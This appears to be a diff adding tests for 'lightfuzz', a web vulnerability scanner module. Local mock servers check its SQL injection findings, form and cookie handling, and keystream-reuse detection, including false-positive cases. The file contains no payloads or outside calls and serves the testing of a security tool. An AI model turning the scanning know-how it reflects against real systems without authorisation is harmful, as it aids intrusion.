+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        sqli_finding_emitted = False
+        for e in events:
+            if e.type == "FINDING" and "Code Change" in e.data.get("description", ""):
+                desc = e.data["description"]
+                if "POSTPARAM" in desc:
+                    # POST findings should include additional_params info
+                    assert "Additional Params:" in desc, f"POST finding description missing additional_params: {desc}"
+                    sqli_finding_emitted = True
+        assert sqli_finding_emitted, "SQLi POST code-change FINDING not emitted"
+
+
+# Verify that lightfuzz rejects WEB_PARAMETER events on static-asset URLs (.pdf, .xml, etc.)
+class Test_Lightfuzz_static_url_filter(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli"],
+            }
+        },
+    }
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        respond_args = {"response_data": "<html><body>placeholder</body></html>", "status": 200}
+        expect_args = {"method": "GET", "uri": "/"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        # Inject a WEB_PARAMETER event on a .pdf URL
+        seed_events = []
+        parent_event = module_test.scan.make_event(
+            "http://127.0.0.1:8888/",
+            "URL",
+            module_test.scan.root_event,
+            module="http",
+            tags=["status-200", "distance-0"],
+        )
+        data = {
+            "host": "127.0.0.1",
+            "type": "GETPARAM",
+            "name": "v",
+            "original_value": "1",
+            "url": "http://127.0.0.1:8888/document.pdf?v=1",
+            "description": "HTTP Extracted Parameter [v]",
+        }
+        seed_event = module_test.scan.make_event(data, "WEB_PARAMETER", parent_event, tags=["distance-0"])
+        seed_events.append(seed_event)
+        for event in seed_events:
+            await module_test.scan.ingress_module.incoming_event_queue.put(event)
+
+    def check(self, module_test, events):
+        sqli_finding_emitted = False
+        for e in events:
+            if e.type == "FINDING":
+                if "Possible SQL Injection" in e.data["description"]:
+                    sqli_finding_emitted = True
+
+        assert not sqli_finding_emitted, (
+            "SQLi finding should NOT be emitted for WEB_PARAMETER on a static-asset URL (.pdf)"
+        )
+
+
+# End-to-end test for the baseline → HTTP_RESPONSE → excavate chain.
+#
+# Validates two features in one pass:
+# 1. excavate's <select> picker prefers the `selected` option over the empty first one
+# 2. lightfuzz emits the canonical baseline response as an HTTP_RESPONSE event,
+#    which excavate then mines for new URLs
+#
+# The target page hosts a POST form with a <select> whose first option is empty
+# and second option is `<option value="admin" selected>`. The server reveals
+# `<a href="/secret-endpoint">` only when the POST body has `role=admin` (and
+# the CSRF field intact). If any link in the chain breaks — picker chooses the
+# empty option, lightfuzz doesn't fire the baseline POST, the baseline response
+# isn't emitted, or excavate doesn't see it — the URL_UNVERIFIED never appears.
+class Test_Lightfuzz_baseline_to_excavate_chain(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                # sqli is enough to drive one baseline through compare_baseline()
+                "enabled_submodules": ["sqli"],
+            },
+        },
+    }
+
+    landing_page = """
+    <html><body>
+        <h1>Login</h1>
+        <form action="/login" method="post">
+            <select name="role">
+                <option value="">-- choose a role --</option>
+                <option value="admin" selected>Admin</option>
+                <option value="guest">Guest</option>
+            </select>
+            <input type="hidden" name="csrf" value="abc">
+            <input type="submit" value="go">
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        # GET / serves the form
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": self.landing_page, "status": 200},
+        )
+
+        # POST /login only reveals the secret link on a properly-formed submission
+        # (role == "admin" and csrf == "abc"). Otherwise a vanilla page.
+        def login_handler(request):
+            form = request.form
+            role = form.get("role", "")
+            csrf = form.get("csrf", "")
+            if role == "admin" and csrf == "abc":
+                body = (
+                    '<html><body><h2>Logged in as admin</h2><a href="/secret-endpoint">Admin console</a></body></html>'
+                )
+            else:
+                body = "<html><body><h2>Login failed</h2></body></html>"
+            return Response(body, status=200, content_type="text/html")
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile("/login"),
+            request_handler=login_handler,
+        )
+
+    def check(self, module_test, events):
+        # The chain succeeded iff a URL_UNVERIFIED for /secret-endpoint exists.
+        # That single event proves: select picker chose "admin" (otherwise the
+        # server wouldn't have revealed it), lightfuzz fired a properly-formed
+        # POST baseline, the response was emitted as HTTP_RESPONSE, and excavate
+        # mined the new URL out of the body.
+        secret_url = "http://127.0.0.1:8888/secret-endpoint"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /secret-endpoint not emitted — the lightfuzz baseline → "
+            "excavate chain failed somewhere (select-picker, baseline POST shape, "
+            "HTTP_RESPONSE emission, or excavate URL extraction)."
+        )
+
+        # The role parameter should have been emitted with original_value="admin"
+        # (proving the select picker preferred `selected` over the empty first option).
+        role_param = next(
+            (e for e in events if e.type == "WEB_PARAMETER" and e.data.get("name") == "role"),
+            None,
+        )
+        assert role_param is not None, "WEB_PARAMETER for 'role' was not emitted"
+        assert role_param.data.get("original_value") == "admin", (
+            f"select picker chose the wrong option: expected 'admin', got {role_param.data.get('original_value')!r}"
+        )
+
+        # The HTTP_RESPONSE that lightfuzz emitted should carry the `from-lightfuzz`
+        # tag so downstream consumers can distinguish baseline-emission events from
+        # primary recon HTTP_RESPONSEs.
+        lightfuzz_responses = [
+            e for e in events if e.type == "HTTP_RESPONSE" and str(getattr(e, "module", "")) == "lightfuzz"
+        ]
+        assert lightfuzz_responses, "Expected at least one HTTP_RESPONSE emitted by lightfuzz"
+        assert all("from-lightfuzz" in e.tags for e in lightfuzz_responses), (
+            "lightfuzz-emitted HTTP_RESPONSE events missing 'from-lightfuzz' tag"
+        )
+
+        # `from-lightfuzz` should propagate down the parent chain (parallel to
+        # `from-wayback` / `affiliate`). The URL_UNVERIFIED that excavate mined out
+        # of the lightfuzz-emitted body should carry it too.
+        secret_event = next(
+            (
+                e
+                for e in events
+                if e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            ),
+            None,
+        )
+        assert secret_event is not None, "URL_UNVERIFIED for /secret-endpoint not found in events"
+        assert "from-lightfuzz" in secret_event.tags, (
+            f"`from-lightfuzz` tag did not propagate to URL_UNVERIFIED child, got tags: {secret_event.tags}"
+        )
+
+
+# End-to-end test for keystream-reuse detection.
+#
+# Multiple <a href="/sort?SortBy=<hex>"> links carry distinct hex-shaped values
+# that share a plaintext prefix (the canonical "many-time-pad" signature).
+# Excavate's parameter extractor consolidates the values into one WEB_PARAMETER
+# via the new same_param_values field; lightfuzz crypto's keystream-reuse check
+# then pairwise-XORs them and emits a HIGH/CONFIRMED FINDING.
+class Test_Lightfuzz_keystream_reuse(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["crypto"],
+            },
+        },
+    }
+
+    # Two real ciphertexts from the bug report: their 7-byte XOR yields a
+    # 5-byte leading-zero run (plaintexts share their first 5 bytes).
+    landing_page = """
+    <html><body>
+        <h1>Results</h1>
+        <a href="/sort?SortBy=4E4CDA8A93F87A">Skill Code</a>
+        <a href="/sort?SortBy=4E4CDA8A93FF7B8584EEDB4C8D59A9C3567657">Program Type/Program Name</a>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": self.landing_page, "status": 200},
+        )
+
+    def check(self, module_test, events):
+        keystream_finding = next(
+            (
+                e
+                for e in events
+                if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "")
+            ),
+            None,
+        )
+        assert keystream_finding is not None, "Expected a Stream Cipher Keystream Reuse FINDING from lightfuzz crypto"
+        assert keystream_finding.data.get("severity") == "HIGH", (
+            f"expected HIGH severity, got {keystream_finding.data.get('severity')!r}"
+        )
+
+        # Sanity check: WEB_PARAMETER for SortBy should carry the second ciphertext
+        # via same_param_values (the new field excavate populates for collapsed dupes).
+        sortby_param = next(
+            (e for e in events if e.type == "WEB_PARAMETER" and e.data.get("name") == "SortBy"),
+            None,
+        )
+        assert sortby_param is not None, "WEB_PARAMETER for 'SortBy' was not emitted"
+        same_param_values = sortby_param.data.get("same_param_values") or []
+        assert same_param_values, "Expected same_param_values to carry the second ciphertext, got empty/None"
+
+
+# Regression: two URL-path-shaped values that share a long plaintext prefix
+# round-trip as valid base64 (every char is in the b64 alphabet, length
+# divisible by 4) and XOR to a long leading-zero run because the plaintexts
+# overlap. The earlier crypto gate only rejected narrow-range encodings, so
+# such pairs produced a HIGH/CONFIRMED Stream Cipher Keystream Reuse finding
+# despite obviously being plaintext URL paths, not ciphertext.
+class Test_Lightfuzz_keystream_reuse_url_path_fp(Test_Lightfuzz_keystream_reuse):
+    # Both values are 24 chars (valid base64 length), share a 13-char plaintext
+    # prefix, and use only base64-alphabet chars — so they round-trip and the
+    # XOR exposes a long leading-zero run unless the crypto gate rejects them.
+    landing_page = """
+    <html><body>
+        <a href="/run?token=/abc/def/x2003new1234567">2003</a>
+        <a href="/run?token=/abc/def/x2002new1234567">2002</a>
+    </body></html>
+    """
+
+    def check(self, module_test, events):
+        keystream_findings = [
+            e
+            for e in events
+            if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "")
+        ]
+        assert not keystream_findings, (
+            f"URL-path values were misclassified as keystream-reuse ciphertexts: "
+            f"{[f.data.get('description') for f in keystream_findings]}"
+        )
+
+
+# End-to-end test for assigned_cookies refresh.
+#
+# The cookies excavate originally captured on the spider's GET are often stale
+# by the time lightfuzz fuzzes (cycled tokens, expired sessions). Lightfuzz's
+# connectivity-test GET re-issues a fresh Set-Cookie; we merge those values into
+# event.data["assigned_cookies"] so baseline POSTs go out with the current
+# session, not a stale one.
+#
+# This server cycles `TESTSESSION` on every GET / and only reveals
+# /secret-endpoint when the POST carries the most-recently-issued token. The
+# spider's GET issues token-1 (stale by the time lightfuzz runs); lightfuzz's
+# own connectivity GET issues token-2, which the merge logic substitutes in,
+# letting the baseline POST succeed.
+class Test_Lightfuzz_cookie_refresh(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli"],
+            },
+        },
+    }
+
+    # The very first issued token is a "bootstrap" — represents the cookie the
+    # spider captured, which we want to reject at POST time. Subsequent GETs
+    # without an incoming cookie issue tokens that ARE valid for POST. GETs
+    # that carry a cookie preserve the current token without rotating, so
+    # parallel probes (sqli COOKIE fuzzing) don't invalidate the legitimate POST.
+    _token_state = {"counter": 0, "current": None, "valid_for_post": set()}
+
+    landing_page = """
+    <html><body>
+        <form action="/cookie-login" method="post">
+            <input type="hidden" name="csrf" value="abc">
+            <input type="submit" value="go">
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        state = self._token_state
+        state["counter"] = 0
+        state["current"] = None
+        state["valid_for_post"] = set()
+
+        def combined_handler(request):
+            # GET / → if no incoming cookie, issue a fresh token. The first
+            # issued token (spider's) is bootstrap-only and NOT added to
+            # valid_for_post; subsequent issuances ARE valid for POST. GETs
+            # that already carry a cookie preserve current — parallel probes
+            # (sqli COOKIE fuzzing on TESTSESSION) don't invalidate the
+            # legitimate baseline POST.
+            # POST /cookie-login → reveal the secret only if the cookie was
+            # issued by a non-bootstrap GET. The discriminator: lightfuzz MUST
+            # refresh via its connectivity_test GET; using the spider's
+            # captured cookie directly fails.
+            if request.method == "GET":
+                if not request.cookies.get("TESTSESSION"):
+                    state["counter"] += 1
+                    state["current"] = f"token-{state['counter']}"
+                    if state["counter"] > 1:
+                        state["valid_for_post"].add(state["current"])
+                resp = Response(self.landing_page, status=200, content_type="text/html")
+                resp.set_cookie("TESTSESSION", state["current"], path="/")
+                return resp
+            else:  # POST
+                cookie = request.cookies.get("TESTSESSION", "")
+                if cookie in state["valid_for_post"]:
+                    body = '<html><body><a href="/secret-endpoint">Authorized</a></body></html>'
+                else:
+                    body = "<html><body><h2>Session expired</h2></body></html>"
+                return Response(body, status=200, content_type="text/html")
+
+        # Single regex covers both GET / and POST /cookie-login; dispatcher inside
+        # the handler routes by method.
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=combined_handler,
+        )
+
+    def check(self, module_test, events):
+        # /secret-endpoint only appears in the body the server returns when the
+        # POST carries the current (post-refresh) token. If the stale spider-era
+        # cookie had been used, the server would have returned "Session expired"
+        # and excavate would have nothing to extract.
+        secret_url = "http://127.0.0.1:8888/secret-endpoint"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /secret-endpoint not emitted — cookie refresh failed; "
+            "lightfuzz POST likely used the spider's stale TESTSESSION token."
+        )
+
+
+# End-to-end test for the crypto submodule's baseline_probe path.
+#
+# Routes through baseline_probe (crypto's "what does the canonical page render
+# look like" reference fetch), which is a separate code path from the
+# compare_baseline flow exercised by sqli / cmdi / path. Server only reveals
+# /crypto-baseline-secret when the POST carries the real form body (name +
+# value of the parameter being fuzzed); a bare POST with no body returns a
+# generic page. If baseline_probe submits the form properly, excavate mines
+# /crypto-baseline-secret out of the emitted HTTP_RESPONSE and we see the
+# URL_UNVERIFIED. If baseline_probe fires a body-less request, the URL is
+# never revealed and the assertion fails.
+class Test_Lightfuzz_baseline_probe_form_submission(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            # Crypto is the submodule that calls baseline_probe(); other submodules
+            # go through compare_baseline.
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    # High-entropy hex value so crypto's likely_crypto gate accepts it (≥ 4.5 bits).
+    canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67"
+
+    @property
+    def landing_page(self):
+        return f"""
+        <html><body>
+            <form action="/crypto-form" method="post">
+                <input type="hidden" name="token" value="{self.canonical_value}">
+                <input type="submit" value="go">
+            </form>
+        </body></html>
+        """
+
+    async def setup_after_prep(self, module_test):
+        canonical = self.canonical_value
+
+        def handler(request):
+            if request.method == "GET":
+                return Response(self.landing_page, status=200, content_type="text/html")
+            # POST: only reveal the secret link when the request body includes
+            # the form's actual field (`token=<canonical>`). A bare POST with no
+            # body returns a generic page, which is what baseline_probe would
+            # produce if it weren't building the request via prepare_request.
+            token = request.form.get("token", "")
+            if token == canonical:
+                body = '<html><body><a href="/crypto-baseline-secret">authenticated</a></body></html>'
+            else:
+                body = "<html><body>missing form fields</body></html>"
+            return Response(body, status=200, content_type="text/html")
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=handler,
+        )
+
+    def check(self, module_test, events):
+        secret_url = "http://127.0.0.1:8888/crypto-baseline-secret"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /crypto-baseline-secret not emitted — baseline_probe "
+            "did not submit the form properly (request body missing the token field)."
+        )
+
+
+# Regression test for the None-as-additional-params bug.
+#
+# Excavate stores original_value=None for <input> elements without a `value=`
+# attribute (it distinguishes "no value attribute" from "empty value attribute"
+# in event metadata). When lightfuzz fuzzes a sibling field, the None comes
+# through in additional_params and Python's urlencode renders None as the
+# literal text "None" — the target server then sees `name=None` instead of
+# `name=` (the empty value a browser would actually submit), and typically
+# rejects the request as malformed.
+#
+# Fix: coerce None → "" at the prepare_request wire boundary. This test stands
+# up a server that only reveals /none-bug-secret when the no-value-attr field
+# arrives as "" (browser-equivalent), and rejects literal "None".
+class Test_Lightfuzz_none_in_additional_params(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            # crypto is the submodule that calls baseline_probe() with the default
+            # additional_params_populate_empty=False, so None survives through to
+            # prepare_request and exercises the wire-boundary coercion.
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    # The `search_term` input has NO value= attribute → excavate sets
+    # original_value=None → without the wire-boundary normalization, the
+    # baseline POST would send `search_term=None` (literal).
+    landing_page = """
+    <html><body>
+        <form action="/none-bug" method="post">
+            <input type="hidden" name="csrf" value="abc">
+            <input type="text" name="search_term">
+            <input type="submit" value="go">
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        def handler(request):
+            if request.method == "GET":
+                return Response(self.landing_page, status=200, content_type="text/html")
+            # Reject the literal text "None" — that's the smoking gun for the
+            # urlencode-of-None bug. An empty string (the browser-equivalent
+            # submission) reveals the secret.
+            search_term = request.form.get("search_term", "<missing>")
+            csrf = request.form.get("csrf", "")
+            if csrf == "abc" and search_term == "":
+                body = '<html><body><a href="/none-bug-secret">ok</a></body></html>'
+            else:
+                body = f"<html><body>got search_term={search_term!r}</body></html>"
+            return Response(body, status=200, content_type="text/html")
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=handler,
+        )
+
+    def check(self, module_test, events):
+        secret_url = "http://127.0.0.1:8888/none-bug-secret"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /none-bug-secret not emitted — lightfuzz POST likely "
+            "sent the literal text 'None' instead of '' for the no-value-attr field."
+        )
+
+
+# Verifies baseline_probe fires its "Probe B" — a substituted value=`a` request —
+# when the fuzzed field's original_value is empty. Search-style forms whose
+# useful content only renders for a non-empty query are invisible to Probe A
+# (which submits the field as empty) but mineable from Probe B's response.
+class Test_Lightfuzz_baseline_probe_dual_search_form(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {"lightfuzz": {"enabled_submodules": ["crypto"]}},
+    }
+
+    landing_page = """
+    <html><body>
+        <form action="/search" method="post">
+            <input type="text" name="q">
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        def handler(request):
+            if request.method == "GET":
+                return Response(self.landing_page, status=200, content_type="text/html")
+            q = request.form.get("q", "")
+            if q == "a":
+                body = '<html><body><a href="/dual-probe-secret">match</a></body></html>'
+            else:
+                body = "<html><body>no results</body></html>"
+            return Response(body, status=200, content_type="text/html")
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=handler,
+        )
+
+    def check(self, module_test, events):
+        secret_url = "http://127.0.0.1:8888/dual-probe-secret"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /dual-probe-secret not emitted — baseline_probe's "
+            "Probe B (substituted value='a') likely didn't fire for the empty <input>."
+        )
+
+
+# When the fuzzed field has a real captured default (e.g., <select> with a
+# `selected` option), Probe B should be skipped — there's no point overwriting
+# a meaningful default with an arbitrary value. Verify that the form-action
+# endpoint receives exactly one POST per scan (Probe A only).
+class Test_Lightfuzz_baseline_probe_no_dual_for_selected(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {"lightfuzz": {"enabled_submodules": ["crypto"]}},
+    }
+
+    # Class-level counter so the handler can record POST bodies it sees.
+    _request_log = {"posts": []}
+
+    landing_page = """
+    <html><body>
+        <form action="/sel-form" method="post">
+            <select name="role">
+                <option value="admin" selected>Admin</option>
+                <option value="guest">Guest</option>
+            </select>
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        # Reset class state for this run (in case of repeated runs in one process).
+        self._request_log["posts"] = []
+
+        def handler(request):
+            if request.method == "GET":
+                return Response(self.landing_page, status=200, content_type="text/html")
+            self._request_log["posts"].append(dict(request.form))
+            return Response("<html><body>ok</body></html>", status=200, content_type="text/html")
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=handler,
+        )
+
+    def check(self, module_test, events):
+        posts = self._request_log["posts"]
+        # All POSTs should carry role=admin (the captured selected value). If
+        # Probe B fired for this field, we'd see at least one POST with role="a".
+        assert all(p.get("role") == "admin" for p in posts), (
+            f"Probe B fired for a field with a captured default; posts: {posts}"
+        )
+        # And we expect just one unique POST body (Probe A) — caching collapses
+        # any duplicate Probe A fires across siblings.
+        unique_bodies = {tuple(sorted(p.items())) for p in posts}
+        assert len(unique_bodies) == 1, (
+            f"Expected one unique POST body for the selected-option form, got {len(unique_bodies)}: {unique_bodies}"
+        )
+
+
+# End-to-end test for host-page priming: forms whose action URL is a different
+# endpoint than the page they were discovered on (the canonical CF / ASP.NET
+# WebForms / "search → results" shape) require a real browser to GET the host
+# page first to seed session state, then POST to the action URL with those
+# cookies. This server only reveals /host-cookie-secret when the POST carries
+# a cookie that's only set on the host page's GET response.
+class Test_Lightfuzz_host_url_priming(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/host.html"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {"lightfuzz": {"enabled_submodules": ["crypto"]}},
+    }
+
+    _request_log = {"action_posts": [], "action_referers": []}
+
+    host_page = """
+    <html><body>
+        <h1>Search</h1>
+        <form action="/action" method="post">
+            <input type="text" name="keyword">
+            <input type="submit" value="Search">
+        </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        self._request_log["action_posts"] = []
+        self._request_log["action_referers"] = []
+
+        def handler(request):
+            path = request.path
+            if path == "/host.html" and request.method == "GET":
+                resp = Response(self.host_page, status=200, content_type="text/html")
+                # Cookie is set only on the host page's GET — POSTs that didn't
+                # GET this page first won't carry it.
+                resp.set_cookie("HOSTSESSION", "host-page-cookie", path="/")
+                return resp
+            if path == "/action" and request.method == "POST":
+                self._request_log["action_posts"].append(dict(request.form))
+                self._request_log["action_referers"].append(request.headers.get("Referer", ""))
+                self._request_log.setdefault("action_cookie_headers", []).append(request.headers.get("Cookie", ""))
+                # Reveal the secret only when:
+                #  - the HOSTSESSION cookie is present (proves lightfuzz primed
+                #    against /host.html and carried its cookies through), AND
+                #  - the keyword field is non-empty (proves dual-probe's Probe B fired)
+                cookie = request.cookies.get("HOSTSESSION", "")
+                keyword = request.form.get("keyword", "")
+                if cookie == "host-page-cookie" and keyword:
+                    body = '<html><body><a href="/host-cookie-secret">found</a></body></html>'
+                else:
+                    body = f"<html><body>missing pieces (cookie={cookie!r} keyword={keyword!r})</body></html>"
+                return Response(body, status=200, content_type="text/html")
+            return Response("<html><body>not found</body></html>", status=404)
+
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile(".*"),
+            request_handler=handler,
+        )
+
+    def check(self, module_test, events):
+        secret_url = "http://127.0.0.1:8888/host-cookie-secret"
+        secret_seen = any(
+            e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url
+            for e in events
+        )
+        assert secret_seen, (
+            "URL_UNVERIFIED for /host-cookie-secret not emitted — lightfuzz POST "
+            "to /action likely didn't carry the cookie set by GET /host.html, "
+            "meaning host_url priming failed.\n"
+            f"action POSTs received: {self._request_log['action_posts']}\n"
+            f"Referer headers received: {self._request_log['action_referers']}\n"
+            f"Cookie headers received: {self._request_log.get('action_cookie_headers')}"
+        )
+
+        # At least one keyword WEB_PARAMETER should carry host_url pointing to /host.html.
+        # Excavate emits one per form-extractor that matches; the PostForm (with action)
+        # extractor stamps host_url, the PostForm_NoAction emission doesn't (its emit_url
+        # falls back to event.url so they coincide and stamping is a no-op).
+        keyword_params = [
+            e
+            for e in events
+            if e.type == "WEB_PARAMETER" and isinstance(e.data, dict) and e.data.get("name") == "keyword"
+        ]
+        assert keyword_params, "WEB_PARAMETER for 'keyword' was not emitted"
+        host_urls = [kp.data.get("host_url") for kp in keyword_params]
+        assert any(h and h.endswith("/host.html") for h in host_urls), (
+            f"no keyword WEB_PARAMETER carried host_url pointing to /host.html; got: {host_urls}"
+        )
+
+        # Action POSTs should carry Referer matching the host page URL.
+        referers = [r for r in self._request_log["action_referers"] if r]
+        assert referers, "no Referer header was sent on action POSTs"
+        assert any(r.endswith("/host.html") for r in referers), (
+            f"action POSTs did not carry Referer pointing to host page; got: {referers}"
+        )
+
+
+# ---------------------------------------------------------------------------
+# Keystream-reuse false-positive discrimination
+# ---------------------------------------------------------------------------
+#
+# Unit tests exercising detect_keystream_reuse against:
+#   - TRUE POSITIVES: real XOR-encrypted ciphertexts sharing a keystream
+#   - TRUE NEGATIVES: structured hex IDs that share a prefix by construction
+
+
+def _xor_encrypt(plaintext, key):
+    """XOR plaintext with key (repeating key if shorter)."""
+    return bytes(p ^ key[i % len(key)] for i, p in enumerate(plaintext))
+
+
+def _make_crypto_for_keystream(probe_value, same_param_values=None, additional_params=None):
+    """Build a crypto submodule instance with crafted event data for unit-testing detect_keystream_reuse."""
+    from bbot.modules.lightfuzz.submodules.crypto import crypto
+
+    event_data = {
+        "name": "token",
+        "type": "GETPARAM",
+        "original_value": probe_value,
+        "url": "http://test/page",
+        "same_param_values": same_param_values or [],
+        "additional_params": additional_params or {},
+        "assigned_cookies": {},
+    }
+    event = SimpleNamespace(data=event_data, url="http://test/page", host="test")
+    helpers = SimpleNamespace(
+        calculate_entropy=lambda d: 0,
+        truncate_string=lambda s, n=200: s if len(s) <= n else s[: n - 3] + "...",
+    )
+    lightfuzz = SimpleNamespace(helpers=helpers)
+    return crypto(lightfuzz, event)
+
+
+# -- True negatives: must NOT fire --
+
+
+def test_keystream_fp_mongo_objectid_same_process():
+    """MongoDB ObjectIds from the same process share 9 bytes and differ in a 3-byte counter."""
+    ids = [
+        "65f1a2b3c1d2e3f4a5000001",
+        "65f1a2b3c1d2e3f4a5000002",
+        "65f1a2b3c1d2e3f4a5000003",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on same-process Mongo ObjectIds: {c.results}"
+
+
+def test_keystream_fp_mongo_objectid_large_counter_gap():
+    """Mongo ObjectIds with a larger counter gap (still same-process)."""
+    ids = [
+        "65f1a2b3c1d2e3f4a5000001",
+        "65f1a2b3c1d2e3f4a50000ff",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on Mongo ObjectIds with counter gap: {c.results}"
+
+
+def test_keystream_fp_hex_timestamps():
+    """Hex-encoded Unix timestamps seconds apart share 3 of 4 bytes."""
+    ids = [
+        "68a1b2c3",
+        "68a1b2c5",
+        "68a1b2c8",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on hex timestamps: {c.results}"
+
+
+def test_keystream_fp_sequential_hex_ids():
+    """Sequential 8-byte hex IDs differing in the last 2 bytes."""
+    ids = [
+        "00000000000000a1",
+        "00000000000000a2",
+        "00000000000000a3",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on sequential hex IDs: {c.results}"
+
+
+def test_keystream_fp_random_uuid_v4_hex():
+    """Random UUID v4 values (no hyphens) share no meaningful prefix."""
+    ids = [
+        "550e8400e29b41d4a716446655440000",
+        "6ba7b8109dad11d180b400c04fd430c8",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on random UUID v4: {c.results}"
+
+
+def test_keystream_fp_snowflake_hex_same_ms():
+    """Snowflake-style IDs in hex: 6-byte timestamp + 2-byte counter."""
+    ts = "0192a1b2c3d4"
+    ids = [
+        ts + "0001",
+        ts + "0002",
+        ts + "0003",
+    ]
+    c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:])
+    c.detect_keystream_reuse(ids[0])
+    assert not c.results, f"FP on snowflake hex IDs: {c.results}"
+
+
+def test_keystream_fp_sibling_form_fields_incremental():
+    """Two hidden fields carrying sequential hex IDs (e.g. id + parent_id)."""
+    c = _make_crypto_for_keystream(
+        "aabbccdd00000010",
+        additional_params={"parent_id": "aabbccdd00000001"},
+    )
+    c.detect_keystream_reuse("aabbccdd00000010")
+    assert not c.results, f"FP on sibling sequential hex form fields: {c.results}"
+
+
+def test_keystream_fp_decimal_account_numbers():
+    """Digit-only parameter values (account numbers, zip codes, etc.) are valid
+    hex but are plain decimal IDs. Their decoded bytes XOR to small values that
+    trivially pass the ascii_score threshold."""
